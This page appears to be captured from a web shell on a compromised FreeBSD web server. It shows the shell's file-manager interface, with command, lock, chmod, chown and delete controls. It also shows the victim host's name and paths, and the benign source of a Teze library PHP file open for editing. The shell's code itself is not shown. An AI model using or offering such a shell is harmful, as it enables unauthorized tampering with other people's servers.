TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
2
root
vendor
teze
teze
src
navigator
src
Navigator
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/2/root/vendor/teze/teze/src/navigator/src/Navigator/Navigator.php
<?php /** * This file is part of the Teze library (http://teze.org) * * Copyright (c) Jan Pospisil (http://jan-pospisil.cz) * * For the full copyright and license information, please view * the file license.txt that was distributed with this source code. * */ namespace Teze\Navigator; use Latte\Engine; use Nette\Application\UI\Presenter; use Nette\ArrayHash; use Teze\Application\LinkBuilder; /** * Base Form. * * @author Jan Pospisil * */ class Navigator extends \Nette\Object implements INavigator { private $nav = array(); protected $destinations = array(); protected $latte; protected $file; private $translator; private $display = FALSE; private $linkBuilder; public function __construct(array $destinations = NULL) { if ($destinations) $this->destinations = \Nette\Utils\ArrayHash::from($destinations); $this->file = __DIR__.'/Navigator.latte'; } public function setDisplay($bool = TRUE){ $this->display = (bool)$bool; } public function setTranslator(\Nette\Localization\ITranslator $translator){ $this->translator = $translator; } public function add($name, $direction = NULL) { $this->nav[] = array('name' => $name, 'link' => $direction); } public function render(Presenter $presenter) { if (count($this->nav) == 1 && !$this->display) return; $items = array(); foreach ($this->nav as $nav) { if ($nav['name'] && $nav['link'][0] != '/' && substr($nav['link'], 0, 4) != 'http') $nav['link'] = $presenter->link($nav['link']); $items[] = array('name' => $this->translate($nav['name']), 'link' => $nav['link']); } $latte = $this->getLatte(); $latte->render($this->file, array('items' => $items)); } private function getLatte(){ return $this->latte ? $this->latte : $this->latte = new Engine(); } public function &__get($name) { if (isset($this->destinations[$name])) { $return = $this->destinations[$name]; return $return; } $return = parent::__get($name); return $return; } public function __set($name, $value) { $this->destinations[$name] = $value; } public function translate($message) { return $this->translator->translate($message); } }
Crotin
Name
Size
Permissions
Modified
User/Group
Navigator.php
2242
0644
2016-03-05 11:29:16
Unknown/Unknown
Navigator.latte
475
0644
2016-03-05 11:29:16
Unknown/Unknown
INavigator.php
308
0644
2016-03-05 11:29:15
Unknown/Unknown
INavigatorControlFactory.php
273
0644
2016-03-05 11:29:16
Unknown/Unknown
NavigatorControl.php
600
0644
2016-03-05 11:29:16
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin